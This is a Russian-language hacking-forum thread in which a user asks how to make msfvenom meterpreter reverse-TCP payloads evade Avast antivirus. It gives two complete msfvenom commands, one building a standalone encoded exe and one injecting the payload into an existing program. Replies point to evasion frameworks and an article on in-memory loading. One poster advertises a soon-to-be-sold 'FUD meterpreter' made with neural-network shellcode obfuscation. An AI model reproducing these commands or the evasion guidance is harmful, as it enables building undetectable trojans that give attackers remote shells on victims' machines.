MSFVENOM - Как обойти антивирус?

[Iridium2020]

Все привет!. Недавно начал изучать metasploit и msfvenom на kali linux. В msfvenom практиковал с пейлодом (windows/x64/meterpreter_reverse_tcp). Применял разные виды шифрование (-e x64/xor, и другие x64 виды шифрования.) Ставил разные значения итеррации -i от 10 до 1000). Применял -b '\x00'. Отнюдь антивирус аваст мой все эти пейлоды в формате еxe блокирует напрочь. Без антивируса пейлод в процессах висит и могу подключаться внутри сети c другого компа. Встраивал пейлод в екзешные программы - Антивирус не блокирует)))) но программа вылетает.
Посоветуйте как можно преодалеть антивирус. Может чем то дополнить нужно параметры при создании пэйлода. Читал что антивирусы делают анализы по шаблонам которые внесены в их базе.
И еще помогите советом как можно преодолеть вылет программы езешной в которой встроен пейлод.
пейлод создавал таким образом
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=Мой IP LPORT=4444 -f exe -e x64/xor -i 50 --arch x64 --platform windows -o /root/Mypayload.exe

и вот так с какой либо экзешной программой
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST="Мой IP" LPORT=4444 -x /root/programma.exe -f exe -e x64/xor -i 50 --arch x64 --platform windows -o /root/Mypayload.exe
Заранее всем большое спасибо

 

[f22]

Обрати внимание на этот фрэймворк
github

 

[b0d]

veil уже не торт, смотри здесь Подскажите вектор атаки по Windows 10
решают такую же проблему

 

[Ondrik8]

уже, не те времена)) нашел 2ва, способа обхода, один простой как 2ве копейки, а второй пришлось кодировать Shellcode с помощью нейросети) и вставлять в активатор на С++
)

30 минут и фудец)

`FUD meterpreter` скоро в продаже сама нейро-сеть и ее продукция)

 

[Ondrik8]

Талант не пропьешь!)

 

[Денис Туманов]

Что за нейроннка и как ее увидеть в работе

 

[ReQ]

уже, не те времена)) нашел 2ва, способа обхода, один простой как 2ве копейки, а второй пришлось кодировать Shellcode с помощью нейросети) и вставлять в активатор на С++
)
Посмотреть вложение 42602

30 минут и фудец)

`FUD meterpreter` скоро в продаже сама нейро-сеть и ее продукция)

hoodoer/ENNEoS ты про это, + создание лоадера на С++?

 

[Dmitry__]

Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10

Скрытие полезной нагрузки от антивируса — это серьезная проблема при пентестинге рабочих станций. Даже родной Windows Defender отлично справляется с детектированием Meterpreter, так что приходится идти на дополнительные ухищрения. В этом материале я разберу эффективность энкодера Shikata Ga Nai...

xakep.ru